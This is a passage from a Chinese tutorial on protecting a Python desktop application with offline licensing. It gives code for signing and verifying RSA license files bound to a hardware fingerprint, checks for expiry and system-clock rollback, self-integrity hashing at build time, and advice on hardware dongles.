number">2</span><span class="token punctuation">,</span> ensure_ascii<span class="token operator">=</span><span class="token boolean">False</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f"License written to </span><span class="token interpolation"><span class="token punctuation">&#123;</span>out_path<span class="token punctuation">&#125;</span></span><span class="token string">"</span></span><span class="token punctuation">)</span><span class="token keyword">if</span> __name__ <span class="token operator">==</span> <span class="token string">"__main__"</span><span class="token punctuation">:</span>    parser <span class="token operator">=</span> argparse<span class="token punctuation">.</span>ArgumentParser<span class="token punctuation">(</span><span class="token punctuation">)</span>    parser<span class="token punctuation">.</span>add_argument<span class="token punctuation">(</span><span class="token string">"--gen-keys"</span><span class="token punctuation">,</span> action<span class="token operator">=</span><span class="token string">"store_true"</span><span class="token punctuation">,</span> <span class="token builtin">help</span><span class="token operator">=</span><span class="token string">"Generate RSA keypair"</span><span class="token punctuation">)</span>    parser<span class="token punctuation">.</span>add_argument<span class="token punctuation">(</span><span class="token string">"--priv"</span><span class="token punctuation">,</span> default<span class="token operator">=</span><span class="token string">"private_key.pem"</span><span class="token punctuation">)</span>    parser<span class="token punctuation">.</span>add_argument<span class="token punctuation">(</span><span class="token string">"--pub"</span><span class="token punctuation">,</span> default<span class="token operator">=</span><span class="token string">"public_key.pem"</span><span class="token punctuation">)</span>    parser<span class="token punctuation">.</span>add_argument<span class="token punctuation">(</span><span class="token string">"--create-license"</span><span class="token punctuation">,</span> action<span class="token operator">=</span><span class="token string">"store_true"</span><span class="token punctuation">)</span>    parser<span class="token punctuation">.</span>add_argument<span class="token punctuation">(</span><span class="token string">"--device"</span><span class="token punctuation">,</span> <span class="token builtin">help</span><span class="token operator">=</span><span class="token string">"Device code (设备码，hex)"</span><span class="token punctuation">)</span>    parser<span class="token punctuation">.</span>add_argument<span class="token punctuation">(</span><span class="token string">"--expire"</span><span class="token punctuation">,</span> <span class="token builtin">help</span><span class="token operator">=</span><span class="token string">"Expire date YYYY-MM-DD"</span><span class="token punctuation">)</span>    parser<span class="token punctuation">.</span>add_argument<span class="token punctuation">(</span><span class="token string">"--out"</span><span class="token punctuation">,</span> default<span class="token operator">=</span><span class="token string">"license.json"</span><span class="token punctuation">)</span>    args <span class="token operator">=</span> parser<span class="token punctuation">.</span>parse_args<span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token keyword">if</span> args<span class="token punctuation">.</span>gen_keys<span class="token punctuation">:</span>        gen_rsa_keys<span class="token punctuation">(</span>args<span class="token punctuation">.</span>priv<span class="token punctuation">,</span> args<span class="token punctuation">.</span>pub<span class="token punctuation">)</span>    <span class="token keyword">if</span> args<span class="token punctuation">.</span>create_license<span class="token punctuation">:</span>        <span class="token keyword">if</span> <span class="token keyword">not</span> args<span class="token punctuation">.</span>device <span class="token keyword">or</span> <span class="token keyword">not</span> args<span class="token punctuation">.</span>expire<span class="token punctuation">:</span>            <span class="token keyword">raise</span> SystemExit<span class="token punctuation">(</span><span class="token string">"请提供 --device 和 --expire"</span><span class="token punctuation">)</span>        create_license_file<span class="token punctuation">(</span>args<span class="token punctuation">.</span>priv<span class="token punctuation">,</span> args<span class="token punctuation">.</span>out<span class="token punctuation">,</span> args<span class="token punctuation">.</span>device<span class="token punctuation">,</span> args<span class="token punctuation">.</span>expire<span class="token punctuation">)</span></code></pre><p>给客户签发 license：</p><pre class="language-cmd" data-language="cmd"><code class="language-cmd">python license_generator.py --create-license --priv my_priv.pem --device A1B2C3D4E5 --expire 2025-12-31 --out license_for_customer.json</code></pre><p>把 <code>license_for_customer.json</code> 交给客户（连同可执行文件和公钥已经嵌入的程序）。</p><h4 id="4-6-公钥验证-license">4.6 公钥验证 license</h4><p>在程序启动时调用 <code>check_license()</code>，完成：设备码比对、签名验证、到期验证、时间回退检测（首次运行/上次运行记录）。<code>cryptography</code>。若做成 <code>.pyd</code>，把这个模块编译进二进制将更安全。</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token comment"># license_checker.py</span><span class="token comment"># 应放入主程序中（或编译为 .pyd 嵌入）</span><span class="token keyword">import</span> json<span class="token punctuation">,</span> base64<span class="token punctuation">,</span> hashlib<span class="token punctuation">,</span> subprocess<span class="token punctuation">,</span> datetime<span class="token punctuation">,</span> os<span class="token punctuation">,</span> ctypes<span class="token keyword">from</span> pathlib <span class="token keyword">import</span> Path<span class="token keyword">from</span> cryptography<span class="token punctuation">.</span>hazmat<span class="token punctuation">.</span>primitives <span class="token keyword">import</span> hashes<span class="token punctuation">,</span> serialization<span class="token keyword">from</span> cryptography<span class="token punctuation">.</span>hazmat<span class="token punctuation">.</span>primitives<span class="token punctuation">.</span>asymmetric <span class="token keyword">import</span> padding<span class="token keyword">from</span> cryptography<span class="token punctuation">.</span>hazmat<span class="token punctuation">.</span>backends <span class="token keyword">import</span> default_backend<span class="token comment"># 配置项（按需调整）</span>APP_NAME <span class="token operator">=</span> <span class="token string">"MyApp"</span>LICENSE_PATHS <span class="token operator">=</span> <span class="token punctuation">[</span>    Path<span class="token punctuation">(</span>os<span class="token punctuation">.</span>getenv<span class="token punctuation">(</span><span class="token string">"PROGRAMDATA"</span><span class="token punctuation">,</span> <span class="token string">"C:\\ProgramData"</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">/</span> APP_NAME <span class="token operator">/</span> <span class="token string">"license.json"</span><span class="token punctuation">,</span>    Path<span class="token punctuation">.</span>cwd<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">/</span> <span class="token string">"license.json"</span><span class="token punctuation">]</span>META_STORE <span class="token operator">=</span> Path<span class="token punctuation">(</span>os<span class="token punctuation">.</span>getenv<span class="token punctuation">(</span><span class="token string">"PROGRAMDATA"</span><span class="token punctuation">,</span> <span class="token string">"C:\\ProgramData"</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">/</span> APP_NAME <span class="token operator">/</span> <span class="token string">"license_meta.json"</span><span class="token comment"># 把公钥嵌入此文件（或放到已编译的 .pyd）</span>PUBLIC_KEY_PEM <span class="token operator">=</span> <span class="token triple-quoted-string string">b"""-----BEGIN PUBLIC KEY-----... 把你生成的 public_key.pem 内容粘贴到这里 ...-----END PUBLIC KEY-----"""</span><span class="token comment"># ---------------- 设备码生成 ----------------</span><span class="token keyword">def</span> <span class="token function">_run_cmd</span><span class="token punctuation">(</span>cmd<span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">try</span><span class="token punctuation">:</span>        out <span class="token operator">=</span> subprocess<span class="token punctuation">.</span>check_output<span class="token punctuation">(</span>cmd<span class="token punctuation">,</span> shell<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">,</span> stderr<span class="token operator">=</span>subprocess<span class="token punctuation">.</span>DEVNULL<span class="token punctuation">)</span>        <span class="token keyword">return</span> out<span class="token punctuation">.</span>decode<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>splitlines<span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token keyword">except</span> Exception<span class="token punctuation">:</span>        <span class="token keyword">return</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token keyword">def</span> <span class="token function">get_cpu_id</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    lines <span class="token operator">=</span> _run_cmd<span class="token punctuation">(</span><span class="token string">'wmic cpu get ProcessorId'</span><span class="token punctuation">)</span>    <span class="token keyword">if</span> <span class="token builtin">len</span><span class="token punctuation">(</span>lines<span class="token punctuation">)</span> <span class="token operator">>=</span> <span class="token number">2</span><span class="token punctuation">:</span>        <span class="token keyword">return</span> lines<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token keyword">return</span> <span class="token string">""</span><span class="token keyword">def</span> <span class="token function">get_mb_serial</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    lines <span class="token operator">=</span> _run_cmd<span class="token punctuation">(</span><span class="token string">'wmic baseboard get SerialNumber'</span><span class="token punctuation">)</span>    <span class="token keyword">if</span> <span class="token builtin">len</span><span class="token punctuation">(</span>lines<span class="token punctuation">)</span> <span class="token operator">>=</span> <span class="token number">2</span><span class="token punctuation">:</span>        <span class="token keyword">return</span> lines<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token keyword">return</span> <span class="token string">""</span><span class="token keyword">def</span> <span class="token function">get_disk_serial</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    lines <span class="token operator">=</span> _run_cmd<span class="token punctuation">(</span><span class="token string">'wmic diskdrive get SerialNumber'</span><span class="token punctuation">)</span>    <span class="token keyword">if</span> <span class="token builtin">len</span><span class="token punctuation">(</span>lines<span class="token punctuation">)</span> <span class="token operator">>=</span> <span class="token number">2</span><span class="token punctuation">:</span>        <span class="token comment"># 取第一个非空项</span>        <span class="token keyword">for</span> l <span class="token keyword">in</span> lines<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">:</span><span class="token punctuation">]</span><span class="token punctuation">:</span>            s <span class="token operator">=</span> l<span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span>            <span class="token keyword">if</span> s<span class="token punctuation">:</span>                <span class="token keyword">return</span> s    <span class="token keyword">return</span> <span class="token string">""</span><span class="token keyword">def</span> <span class="token function">get_mac</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token comment"># 备用：取第一个物理 MAC</span>    <span class="token keyword">try</span><span class="token punctuation">:</span>        <span class="token keyword">import</span> uuid        mac <span class="token operator">=</span> uuid<span class="token punctuation">.</span>getnode<span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> <span class="token builtin">format</span><span class="token punctuation">(</span>mac<span class="token punctuation">,</span> <span class="token string">'012x'</span><span class="token punctuation">)</span>    <span class="token keyword">except</span><span class="token punctuation">:</span>        <span class="token keyword">return</span> <span class="token string">""</span><span class="token keyword">def</span> <span class="token function">make_device_code</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    parts <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span>    <span class="token keyword">for</span> f <span class="token keyword">in</span> <span class="token punctuation">(</span>get_cpu_id<span class="token punctuation">,</span> get_mb_serial<span class="token punctuation">,</span> get_disk_serial<span class="token punctuation">,</span> get_mac<span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token keyword">try</span><span class="token punctuation">:</span>            v <span class="token operator">=</span> f<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token keyword">or</span> <span class="token string">""</span>            parts<span class="token punctuation">.</span>append<span class="token punctuation">(</span>v<span class="token punctuation">)</span>        <span class="token keyword">except</span> Exception<span class="token punctuation">:</span>            parts<span class="token punctuation">.</span>append<span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span>    raw <span class="token operator">=</span> <span class="token string">"|"</span><span class="token punctuation">.</span>join<span class="token punctuation">(</span>parts<span class="token punctuation">)</span>    h <span class="token operator">=</span> hashlib<span class="token punctuation">.</span>sha256<span class="token punctuation">(</span>raw<span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token string">"utf-8"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span>hexdigest<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>upper<span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token comment"># 取前16或其它长度作为设备码</span>    <span class="token keyword">return</span> h<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token number">32</span><span class="token punctuation">]</span>  <span class="token comment"># 32 hex chars</span><span class="token comment"># ----------------- 签名验证 -----------------</span><span class="token keyword">def</span> <span class="token function">load_public_key</span><span class="token punctuation">(</span>pem_bytes<span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">return</span> serialization<span class="token punctuation">.</span>load_pem_public_key<span class="token punctuation">(</span>pem_bytes<span class="token punctuation">,</span> backend<span class="token operator">=</span>default_backend<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">verify_signature</span><span class="token punctuation">(</span>pubkey<span class="token punctuation">,</span> license_dict<span class="token punctuation">)</span><span class="token punctuation">:</span>    sig_b64 <span class="token operator">=</span> license_dict<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">"signature"</span><span class="token punctuation">,</span> <span class="token string">""</span><span class="token punctuation">)</span>    <span class="token keyword">if</span> <span class="token keyword">not</span> sig_b64<span class="token punctuation">:</span>        <span class="token keyword">return</span> <span class="token boolean">False</span>    sig <span class="token operator">=</span> base64<span class="token punctuation">.</span>b64decode<span class="token punctuation">(</span>sig_b64<span class="token punctuation">)</span>    <span class="token comment"># 构造签名原文（canonical JSON）</span>    payload <span class="token operator">=</span> <span class="token punctuation">&#123;</span>k<span class="token punctuation">:</span> v <span class="token keyword">for</span> k<span class="token punctuation">,</span> v <span class="token keyword">in</span> license_dict<span class="token punctuation">.</span>items<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token keyword">if</span> k <span class="token operator">!=</span> <span class="token string">"signature"</span><span class="token punctuation">&#125;</span>    message <span class="token operator">=</span> json<span class="token punctuation">.</span>dumps<span class="token punctuation">(</span>payload<span class="token punctuation">,</span> separators<span class="token operator">=</span><span class="token punctuation">(</span><span class="token string">","</span><span class="token punctuation">,</span> <span class="token string">":"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> sort_keys<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span><span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token string">"utf-8"</span><span class="token punctuation">)</span>    <span class="token keyword">try</span><span class="token punctuation">:</span>        pubkey<span class="token punctuation">.</span>verify<span class="token punctuation">(</span>sig<span class="token punctuation">,</span> message<span class="token punctuation">,</span> padding<span class="token punctuation">.</span>PKCS1v15<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> hashes<span class="token punctuation">.</span>SHA256<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> <span class="token boolean">True</span>    <span class="token keyword">except</span> Exception<span class="token punctuation">:</span>        <span class="token keyword">return</span> <span class="token boolean">False</span><span class="token comment"># ----------------- 时间回退与元数据保护 -----------------</span><span class="token keyword">def</span> <span class="token function">_ensure_meta_dir</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    META_STORE<span class="token punctuation">.</span>parent<span class="token punctuation">.</span>mkdir<span class="token punctuation">(</span>parents<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">,</span> exist_ok<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">_read_meta</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    _ensure_meta_dir<span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token keyword">if</span> META_STORE<span class="token punctuation">.</span>exists<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token keyword">try</span><span class="token punctuation">:</span>            <span class="token keyword">return</span> json<span class="token punctuation">.</span>loads<span class="token punctuation">(</span>META_STORE<span class="token punctuation">.</span>read_text<span class="token punctuation">(</span>encoding<span class="token operator">=</span><span class="token string">"utf-8"</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">except</span> Exception<span class="token punctuation">:</span>            <span class="token keyword">return</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span>    <span class="token keyword">return</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token keyword">def</span> <span class="token function">_write_meta</span><span class="token punctuation">(</span>d<span class="token punctuation">)</span><span class="token punctuation">:</span>    _ensure_meta_dir<span class="token punctuation">(</span><span class="token punctuation">)</span>    META_STORE<span class="token punctuation">.</span>write_text<span class="token punctuation">(</span>json<span class="token punctuation">.</span>dumps<span class="token punctuation">(</span>d<span class="token punctuation">)</span><span class="token punctuation">,</span> encoding<span class="token operator">=</span><span class="token string">"utf-8"</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">is_time_rollback</span><span class="token punctuation">(</span>now_date<span class="token punctuation">,</span> meta<span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token comment"># meta: &#123;first_run: "YYYY-MM-DD", last_run: "YYYY-MM-DD"&#125;</span>    <span class="token keyword">if</span> <span class="token string">"first_run"</span> <span class="token keyword">in</span> meta<span class="token punctuation">:</span>        first <span class="token operator">=</span> datetime<span class="token punctuation">.</span>date<span class="token punctuation">.</span>fromisoformat<span class="token punctuation">(</span>meta<span class="token punctuation">[</span><span class="token string">"first_run"</span><span class="token punctuation">]</span><span class="token punctuation">)</span>        <span class="token keyword">if</span> now_date <span class="token operator">&lt;</span> first<span class="token punctuation">:</span>            <span class="token keyword">return</span> <span class="token boolean">True</span>    <span class="token keyword">if</span> <span class="token string">"last_run"</span> <span class="token keyword">in</span> meta<span class="token punctuation">:</span>        last <span class="token operator">=</span> datetime<span class="token punctuation">.</span>date<span class="token punctuation">.</span>fromisoformat<span class="token punctuation">(</span>meta<span class="token punctuation">[</span><span class="token string">"last_run"</span><span class="token punctuation">]</span><span class="token punctuation">)</span>        <span class="token keyword">if</span> now_date <span class="token operator">&lt;</span> last<span class="token punctuation">:</span>            <span class="token keyword">return</span> <span class="token boolean">True</span>    <span class="token keyword">return</span> <span class="token boolean">False</span><span class="token keyword">def</span> <span class="token function">update_meta</span><span class="token punctuation">(</span>now_date<span class="token punctuation">,</span> meta<span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">if</span> <span class="token string">"first_run"</span> <span class="token keyword">not</span> <span class="token keyword">in</span> meta<span class="token punctuation">:</span>        meta<span class="token punctuation">[</span><span class="token string">"first_run"</span><span class="token punctuation">]</span> <span class="token operator">=</span> now_date<span class="token punctuation">.</span>isoformat<span class="token punctuation">(</span><span class="token punctuation">)</span>    meta<span class="token punctuation">[</span><span class="token string">"last_run"</span><span class="token punctuation">]</span> <span class="token operator">=</span> now_date<span class="token punctuation">.</span>isoformat<span class="token punctuation">(</span><span class="token punctuation">)</span>    _write_meta<span class="token punctuation">(</span>meta<span class="token punctuation">)</span><span class="token comment"># ----------------- 主检查函数 -----------------</span><span class="token keyword">class</span> <span class="token class-name">LicenseError</span><span class="token punctuation">(</span>Exception<span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">pass</span><span class="token keyword">def</span> <span class="token function">find_license_file</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">for</span> p <span class="token keyword">in</span> LICENSE_PATHS<span class="token punctuation">:</span>        <span class="token keyword">if</span> p<span class="token punctuation">.</span>exists<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>            <span class="token keyword">try</span><span class="token punctuation">:</span>                <span class="token keyword">return</span> p            <span class="token keyword">except</span><span class="token punctuation">:</span>                <span class="token keyword">pass</span>    <span class="token keyword">return</span> <span class="token boolean">None</span><span class="token keyword">def</span> <span class="token function">check_license</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token comment"># 1. 读取 license 文件</span>    lic_path <span class="token operator">=</span> find_license_file<span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token keyword">if</span> lic_path <span class="token keyword">is</span> <span class="token boolean">None</span><span class="token punctuation">:</span>        <span class="token keyword">raise</span> LicenseError<span class="token punctuation">(</span><span class="token string">"未找到 license 文件"</span><span class="token punctuation">)</span>    lic <span class="token operator">=</span> json<span class="token punctuation">.</span>loads<span class="token punctuation">(</span>lic_path<span class="token punctuation">.</span>read_text<span class="token punctuation">(</span>encoding<span class="token operator">=</span><span class="token string">"utf-8"</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token comment"># 2. 验证签名</span>    pubkey <span class="token operator">=</span> load_public_key<span class="token punctuation">(</span>PUBLIC_KEY_PEM<span class="token punctuation">)</span>    <span class="token keyword">if</span> <span class="token keyword">not</span> verify_signature<span class="token punctuation">(</span>pubkey<span class="token punctuation">,</span> lic<span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token keyword">raise</span> LicenseError<span class="token punctuation">(</span><span class="token string">"license 签名无效或已被篡改"</span><span class="token punctuation">)</span>    <span class="token comment"># 3. 设备码验证（可选，若 license.device == "*" 表示不绑定）</span>    device_code_local <span class="token operator">=</span> make_device_code<span class="token punctuation">(</span><span class="token punctuation">)</span>    device_expected <span class="token operator">=</span> lic<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">"device"</span><span class="token punctuation">,</span> <span class="token string">""</span><span class="token punctuation">)</span>    <span class="token keyword">if</span> device_expected <span class="token keyword">and</span> device_expected <span class="token operator">!=</span> <span class="token string">"*"</span> <span class="token keyword">and</span> device_expected<span class="token punctuation">.</span>upper<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">!=</span> device_code_local<span class="token punctuation">.</span>upper<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token keyword">raise</span> LicenseError<span class="token punctuation">(</span><span class="token string">"设备与 license 不匹配"</span><span class="token punctuation">)</span>    <span class="token comment"># 4. 到期验证</span>    expire <span class="token operator">=</span> lic<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">"expire"</span><span class="token punctuation">,</span> <span class="token string">""</span><span class="token punctuation">)</span>    <span class="token keyword">if</span> expire<span class="token punctuation">:</span>        today <span class="token operator">=</span> datetime<span class="token punctuation">.</span>date<span class="token punctuation">.</span>today<span class="token punctuation">(</span><span class="token punctuation">)</span>        exp_date <span class="token operator">=</span> datetime<span class="token punctuation">.</span>date<span class="token punctuation">.</span>fromisoformat<span class="token punctuation">(</span>expire<span class="token punctuation">)</span>        <span class="token keyword">if</span> today <span class="token operator">></span> exp_date<span class="token punctuation">:</span>            <span class="token keyword">raise</span> LicenseError<span class="token punctuation">(</span><span class="token string">"license 已过期"</span><span class="token punctuation">)</span>    <span class="token comment"># 5. 时间回退检测（防止修改系统时间）</span>    now_date <span class="token operator">=</span> datetime<span class="token punctuation">.</span>date<span class="token punctuation">.</span>today<span class="token punctuation">(</span><span class="token punctuation">)</span>    meta <span class="token operator">=</span> _read_meta<span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token keyword">if</span> is_time_rollback<span class="token punctuation">(</span>now_date<span class="token punctuation">,</span> meta<span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token keyword">raise</span> LicenseError<span class="token punctuation">(</span><span class="token string">"检测到系统时间回退，拒绝运行"</span><span class="token punctuation">)</span>    update_meta<span class="token punctuation">(</span>now_date<span class="token punctuation">,</span> meta<span class="token punctuation">)</span>    <span class="token comment"># 6. 可选：额外字段（例如并发数/功能开关）</span>    <span class="token comment"># extra = lic.get("extra", &#123;&#125;)</span>    <span class="token comment"># 全部通过</span>    <span class="token keyword">return</span> <span class="token boolean">True</span><span class="token comment"># 方便嵌入应用（抛出异常则拒绝运行）</span><span class="token keyword">if</span> __name__ <span class="token operator">==</span> <span class="token string">"__main__"</span><span class="token punctuation">:</span>    <span class="token keyword">try</span><span class="token punctuation">:</span>        ok <span class="token operator">=</span> check_license<span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"License OK:"</span><span class="token punctuation">,</span> ok<span class="token punctuation">)</span>    <span class="token keyword">except</span> Exception <span class="token keyword">as</span> e<span class="token punctuation">:</span>        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"License check failed:"</span><span class="token punctuation">,</span> e<span class="token punctuation">)</span></code></pre><p><strong>把 <code>license_checker.py</code> 放入项目</strong>（例如 <code>modules/license_checker.py</code>），并将 <code>PUBLIC_KEY_PEM</code> 替换为厂商公钥文本。在 <code>application.py</code> 启动入口处最开始调用：</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> modules<span class="token punctuation">.</span>license_checker <span class="token keyword">import</span> check_license<span class="token punctuation">,</span> LicenseError<span class="token keyword">try</span><span class="token punctuation">:</span>    check_license<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token keyword">except</span> LicenseError <span class="token keyword">as</span> e<span class="token punctuation">:</span>    <span class="token comment"># 提示用户、写日志并退出</span>    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"License 错误："</span><span class="token punctuation">,</span> e<span class="token punctuation">)</span>    sys<span class="token punctuation">.</span>exit<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span></code></pre><p>把敏感的 <code>license_checker.py</code> 编译成 <code>.pyd</code>（Cython）或把整个 <code>modules</code>/<code>utils</code> 编译，最后用 Nuitka/PyInstaller 打包为 exe。将 <code>license.json</code> 放在安装目录或 <code>%ProgramData%\MyApp\license.json</code>。你可以选择把 <code>LICENSE_PATHS</code> 修改成你希望的多个查找路径（例如注册表、隐藏分区等）</p><h4 id="4-7-自校验完整性">4.7 自校验完整性</h4><p>在程序启动时（在 <code>.pyd</code> 内）检查 <code>sys.executable</code>（主 exe）和若干关键 <code>.pyd</code> 的 SHA256；若不匹配则拒绝运行。在源码模板里放占位符 <code>__EXPECTED_HASHES__</code>，构建脚本计算哈希并把真实哈希写入模板生成 <code>license_checker.pyx</code>，再 cythonize。攻击者如果篡改 exe 或关键 .pyd，会触发校验失败。本地完整性校验能显著提高逆向/篡改成本，但不能做到绝对防护；高级攻击者可通过内存补丁、在运行时跳过检查或替换 .pyd 来绕过。建议把校验逻辑也做混淆/编译，并把公钥等敏感信息嵌入 native 二进制。</p><p>因为 <code>EXPECTED_HASHES</code> 包含主 exe 的哈希，因此需要先获得最终 exe（或在构建中按阶段生成 exe），才能计算 exe 的哈希并写入 <code>.pyx</code>。常见流程是：</p><ol><li>先生成 exe（例如 PyInstaller 输出到 <code>dist\MyApp.exe</code>）。</li><li>运行 <code>build_license_checker.py --exe dist\MyApp.exe --targets ...</code> 生成 <code>license_checker.pyx</code>。</li><li>cythonize 生成 <code>license_checker.pyd</code>。</li><li>把 <code>license_checker.pyd</code> 放回 <code>dist</code> 并替换，同时把 <code>license_checker.pyd</code> 也打包入最终 installer（或用一条额外命令把 dist 里文件重新打包为最终分发文件）。</li></ol><p>如果用 Nuitka 直接把 Python 转成 exe（且包含了模块），则需要在 Nuitka 打包前把 <code>.pyd</code> 生成好并放到项目中，Nuitka 会把它一起打包进去。流程上要确保 <code>license_checker.pyd</code> 与 <code>exe</code> 的哈希一致 — 因此通常的做法是先构建 exe（不把 <code>license_checker</code> 校验的哈希硬编码），然后“固化哈希并编译 license_checker”，然后把 <code>license_checker.pyd</code> 包回到最终发行包里。</p><h4 id="4-8-加密狗">4.8 加密狗</h4><p>把加密狗接入进来能够显著提升离线授权的安全性。</p><ol><li><strong>物理强绑定</strong>：要求运行时必须插入加密狗，否则拒绝运行。</li><li><strong>狗内存储/验证</strong>：把关键授权数据（设备 ID / 许可证数据 / 到期时间 / 使用次数）写入狗内部（加密），并在运行时用狗自身的 crypto / clock / counter 进行验证，而不是把全部数据放在可替换的 license.json。</li><li><strong>狗 + 本地 license 双校验</strong>（可选）：同时校验狗与本地签名 license，增加攻击成本。</li><li><strong>把验证逻辑编译为 native</strong>（.pyd / Nuitka），并做完整性校验，防止被直接跳过</li></ol><p>由于硬件加密狗在购买时将提供使用文档，在此不做介绍，仅作提示：</p><ul><li><strong>尽早校验</strong>：在 GUI 显示之前，先做狗检测与验证。若失败，用 <code>QMessageBox</code> 或 <code>MessageBoxW</code> 弹窗提示并提供“打开 license 目录 / 联系客服 / 硬件售后”选项。</li><li><strong>错误处理</strong>：对常见错误给出明确提示（未检测到狗 / 狗未登录 / license 过期 / 本机设备不匹配 / 计数器为 0）。记录日志（建议放在 <code>%ProgramData%\MyApp\license_error.log</code>）。</li><li><strong>降级策略</strong>：若希望在某些特殊客户允许有限降级（比如测试模式），内置“应急授权码”机制（仅在非常受控情况下使用，并嵌入在你保管的私钥中）。</li><li><strong>找不到 DLL</strong>：打包后 DLL 未被包含，导致 ImportError。把厂商 DLL 放到项目根或用 nuitka 的 <code>--include-plugin-directory</code> / PyInstaller 的 <code>--add-binary</code> 明确包含。</li><li><strong>权限问题</strong>：写入狗/管理需要管理员权限，Provisioning 工具应以管理员运行。运行时只需用户登录/普通权限即可读取/使用（取决厂商实现）。</li><li><strong>串口/USB 热插拔</strong>：若用户在运行时拔掉狗，应检测并给出友好提示。</li><li><strong>加密算法与密钥管理</strong>：千万不要把狗的管理员密码/ApiKey 写入分发包；ApiKey 由厂商工具生成并设置在狗上。</li><li><strong>如果预算允许且你想强保护</strong>：把授权写入狗（发货时 Provision），程序启动仅通过狗内数据校验与狗内时钟判断到期。把校验逻辑编译成 <code>.pyd</code> 并做完整性校验。</li><li><strong>预算中等/兼顾 UX</strong>：采用狗 + 已签名本地 license 的混合模式（用 challenge-response 增强），并在程序 UI 提供清晰的“未检测到狗 / 插入狗后重试”的提示。</li><li><strong>实施优先级</strong>：先把狗检测/登录/读取/时间读取的代码做通，再做写入/加密与挑战-应答流程，最后把这些逻辑编译为 native 并加入完整性校验。</li></ul><h4 id="4-9-Challenge-Response">4.9  Challenge-Response</h4><p>启动时做一个 challenge-response 流程：</p><ol><li>主机调用 